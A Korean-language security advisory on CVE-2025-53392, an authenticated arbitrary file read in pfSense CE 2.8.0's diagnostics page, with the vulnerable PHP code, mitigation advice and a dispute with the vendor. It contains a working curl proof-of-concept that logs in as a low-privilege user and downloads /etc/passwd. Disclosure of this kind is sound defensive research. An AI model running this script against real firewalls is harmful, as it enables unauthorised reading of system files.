
pfSense 2.8.0 진단 웹 인터페이스를 통한 인증된 임의 파일 읽기 (CVE-2025-53392)
CVE-2025-53392CWE-36 (절대 경로 탐색)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 테스트할 명시적 권한이 없는 시스템에서 이 취약점을 테스트하거나 악용하지 마십시오.
pfSense CE 2.8.0에는 진단 페이지 diag_command.php에 로컬 파일 노출 취약점이 있으며, 인증된 사용자가 기본 파일 시스템에서 임의의 파일을 다운로드할 수 있습니다.
이 기능은 권한 할당 외에 경로 검증, 디렉터리 제한 또는 접근 제어가 전혀 없습니다.
취약한 로직은 src/usr/local/www/diag_command.php 파일에 있습니다:
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
session_cache_limiter('public');
send_user_download('file', $_POST['dlPath']);
}
사용자가 제어하는 dlPath 매개변수에는 보안 검사나 검증 조치가 적용되어 있지 않습니다.
PHP 프로세스가 읽을 수 있는 모든 파일 경로가 사용자에게 제공됩니다.
low-priv 그룹을 만들고 단일 권한을 할당합니다 (WebCfg - Diagnostics: Command)

WebCfg - Diagnostics: Command권한에 대한 보안 고지가 존재한다는 점은 인정하지만, 고지 자체만으로는 건전한 접근 제어를 대체할 수 없습니다.“진단 명령(Diagnostics Command) 페이지에 대한 접근 허용”이라는 문구는 모호하며 위험을 축소합니다. 이는 단순한 진단 접근이 아니라 제한 없는 루트 수준의 명령 실행을 가능하게 합니다.
웹 인터페이스의 권한 레이블은 허용하는 작업의 범위와 심각도를 정확히 반영해야 하며, 특히 전체 관리 제어를 노출하는 경우에는 더욱 그렇습니다.
low-priv 그룹을 dev 사용자에게 할당합니다

이 개념 증명은 WebCfg - Diagnostics: Command 권한만 할당된 사용자가 검증되지 않은 dlPath 매개변수를 악용하여 /etc/passwd를 외부로 유출할 수 있음을 보여줍니다.
# 1. Start session and extract CSRF token
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 2. Authenticate as low-privileged user "dev"
curl -k -b cookies.txt -c cookies.txt \
-d "__csrf_magic=$csrf_token" \
-d "usernamefld=dev" \
-d "passwordfld=pass" \
-d "login=Sign+In" \
https://<IP>/index.php > /dev/null
# 3. Get CSRF token post-login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 4. Exfiltrate arbitrary file (example: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
-d "__csrf_magic=$csrf_token" \
-d "submit=DOWNLOAD" \
-d "dlPath=/etc/passwd"

WebCfg - Diagnostics: Command 권한이 할당된 모든 pfSense 사용자는 다음을 수행할 수 있습니다:
이는 최소 권한 원칙을 위반하고 논리적 권한 경계를 무너뜨립니다.
realpath() 및 접두사 강제 검사를 사용하여 dlPath를 안전한 기본 디렉터리(예: /tmp)로 제한.. 또는 절대 경로가 포함된 경로를 제거하거나 차단CVE-2025-53392 지정공급업체는 이 페이지에 대한 접근이 루트와 동일하다고 주장하지만, 이는 웹 수준의 권한을 제한 없는 백엔드 접근과 혼동하는 것입니다.
권한은 (가정이 아닌) 기술적으로 강제되어야 하며, UI의 경고는 안전한 설계를 대체할 수 없습니다.
이 기능이 “잘 문서화되어 있다”는 공급업체의 주장에 반박합니다 - pfSense의 User Privileges 문서에는 WebCfg - Diagnostics: Command 권한이 루트 수준 접근과 동일하다는 언급이 없습니다.

공급업체는 오용에 대한 일반적인 경고가 포함된 Diagnostics Command 페이지를 언급한 것일 수 있습니다.
그러나 문서는 이 기능을 WebCfg - Diagnostics: Command 권한과 명시적으로 연결하거나 루트 수준 접근을 부여한다는 점을 명확히 밝히지 않습니다.
방화벽 웹 인터페이스 내 진단 모듈에는 기본 운영 체제에 대한 악용을 방지하기 위한 적절한 보호 장치가 포함되어야 합니다.
이 작업은 제 고용 관계 밖에서 수행되었으며, 사이버보안 연구에 대한 개인적인 노력을 반영합니다.